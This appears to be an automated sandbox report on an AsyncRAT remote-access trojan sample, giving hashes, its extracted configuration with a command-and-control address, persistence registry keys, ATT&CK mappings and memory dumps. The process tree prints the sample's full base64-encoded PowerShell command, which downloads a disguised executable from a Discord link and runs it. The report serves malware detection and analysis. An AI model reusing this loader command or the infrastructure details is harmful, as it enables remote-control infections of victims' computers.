asyncrat | 40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce

Analysis

max time kernel
146s
max time network
151s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
01-01-2023 07:11

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General

Target

40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe
Size

6KB
MD5

73accc164cc2f2c2c6da99a79fe259e4
SHA1

b2762324f45f67d11dce99814eb864267d1255e5
SHA256

40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce
SHA512

057f2b402bd7cd779ba0a98e8b587464203f384b1d52d14cee41358f86dd0a821629646f54f0dd86ca2844fab1b2d6d14b945ae7550e337c724f485fc11f1898
SSDEEP

96:w79UZCFprxds+th4avk+IuAY2ssvk+IabCEBv8d3oj4rl:W9UoFpVds+77vkRYqvk0bC+8dr

Score

10^/10

asyncrat windowsdefendersmarttscreen persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes

delay
1
install
false
install_file
WindowsDefenderSmarttScreen.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/5052-198-0x0000000004F30000-0x0000000004F42000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 2604 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

6.exe

pid process

5052 6.exe

flow	pid	process
7	2604	powershell.exe

pid	process
5052	6.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

6.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2604 powershell.exe
2604 powershell.exe
2604 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2604 powershell.exe

pid	process
2604	powershell.exe
2604	powershell.exe
2604	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exepowershell.exe

description	pid	process	target process
PID 4776 wrote to memory of 2604	4776	40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe	powershell.exe
PID 4776 wrote to memory of 2604	4776	40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe	powershell.exe
PID 2604 wrote to memory of 5052	2604	powershell.exe	6.exe
PID 2604 wrote to memory of 5052	2604	powershell.exe	6.exe
PID 2604 wrote to memory of 5052	2604	powershell.exe	6.exe

C:\Users\Admin\AppData\Local\Temp\40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe
"C:\Users\Admin\AppData\Local\Temp\40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZABpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAxADcAMQAyADgAMAAyADEANgAxADcANgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGkAcQBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB0AHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgBjAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQApADwAIwBuAHAAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAG4AbgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwBoAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQA8ACMAeQBpAGgAIwA+AA=="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604

C:\Users\Admin\AppData\Roaming\6.exe
"C:\Users\Admin\AppData\Roaming\6.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5052

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\6.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\6.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/2604-121-0x0000000000000000-mapping.dmp

Download
memory/2604-126-0x000002587D420000-0x000002587D442000-memory.dmp

Filesize
136KB

Download
memory/2604-129-0x000002587D650000-0x000002587D6C6000-memory.dmp

Filesize
472KB

Download
memory/4776-120-0x0000000000210000-0x0000000000218000-memory.dmp

Filesize
32KB

Download
memory/5052-144-0x0000000000000000-mapping.dmp

Download
memory/5052-147-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-148-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-149-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-150-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-151-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-152-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-154-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-156-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-157-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-158-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-153-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-159-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-161-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-162-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-160-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-163-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-164-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-165-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-167-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-169-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-170-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-171-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-168-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-166-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-172-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-173-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-174-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-175-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-176-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-177-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-178-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-179-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-180-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-181-0x00000000002B0000-0x00000000006DE000-memory.dmp

Filesize
4.2MB

Download
memory/5052-182-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-183-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-184-0x0000000004F40000-0x0000000004FDC000-memory.dmp

Filesize
624KB

Download
memory/5052-185-0x00000000054E0000-0x00000000059DE000-memory.dmp

Filesize
5.0MB

Download
memory/5052-186-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-187-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-188-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-189-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-190-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-191-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-192-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-193-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-194-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-195-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-196-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-197-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-198-0x0000000004F30000-0x0000000004F42000-memory.dmp

Filesize
72KB

Download
memory/5052-199-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-200-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-201-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-202-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-203-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-204-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-205-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-206-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download
memory/5052-207-0x00000000776F0000-0x000000007787E000-memory.dmp

Filesize
1.6MB

Download